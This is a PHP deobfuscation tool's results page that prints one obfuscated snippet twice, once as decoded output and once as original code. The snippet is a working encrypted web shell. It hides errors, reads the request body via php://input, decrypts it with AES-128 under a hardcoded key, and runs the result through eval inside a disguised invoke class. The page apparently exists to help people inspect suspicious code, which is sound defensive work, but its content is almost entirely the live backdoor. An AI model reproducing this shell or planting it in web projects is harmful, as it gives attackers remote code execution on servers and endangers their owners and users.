Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php @error_reporting(0);session_start();$key="1a1dc91c907325c6";$_SESSION['k']=$key;$f='..
Decoded Output download
<?php @error_reporting(0);session_start();$key="1a1dc91c907325c6";$_SESSION['k']=$key;$f='file'.'_get'.'_contents';$p='|||||||||||'^chr(12).chr(20).chr(12).chr(70).chr(83).chr(83).chr(21).chr(18).chr(12).chr(9).chr(8);$H5677=$f($p);if(!extension_loaded('openssl')){ $t=preg_filter('/+/','','base+64+_+deco+de');$H5677=$t($H5677."");for($i=0;$i<strlen($H5677);$i++) { $new_key = $key[$i+1&15];$H5677[$i] = $H5677[$i] ^ $new_key;} }else{ $H5677=openssl_decrypt($H5677, "AES128", $key);}$arr=explode('|',$H5677);$func=$arr[0];$params=$arr[1];class GfF711Q1{ public function /*Z#h*u@!h95lu7J570*/__invoke($p) {@eval("/*Z#h*u@!h95lu7J570*/".$p."");}}@call_user_func/*Z#h*u@!h95lu7J570*/(new GfF711Q1(),$params);?>
Did this file decode correctly?
Original Code
<?php @error_reporting(0);session_start();$key="1a1dc91c907325c6";$_SESSION['k']=$key;$f='file'.'_get'.'_contents';$p='|||||||||||'^chr(12).chr(20).chr(12).chr(70).chr(83).chr(83).chr(21).chr(18).chr(12).chr(9).chr(8);$H5677=$f($p);if(!extension_loaded('openssl')){ $t=preg_filter('/+/','','base+64+_+deco+de');$H5677=$t($H5677."");for($i=0;$i<strlen($H5677);$i++) { $new_key = $key[$i+1&15];$H5677[$i] = $H5677[$i] ^ $new_key;} }else{ $H5677=openssl_decrypt($H5677, "AES128", $key);}$arr=explode('|',$H5677);$func=$arr[0];$params=$arr[1];class GfF711Q1{ public function /*Z#h*u@!h95lu7J570*/__invoke($p) {@eval("/*Z#h*u@!h95lu7J570*/".$p."");}}@call_user_func/*Z#h*u@!h95lu7J570*/(new GfF711Q1(),$params);?>
Function Calls
chr | 11 |
preg_filter | 1 |
session_start | 1 |
error_reporting | 1 |
extension_loaded | 1 |
file_get_contents | 1 |
Stats
MD5 | b6ed921c08a773a70b3dd6239c361c70 |
Eval Count | 0 |
Decode Time | 80 ms |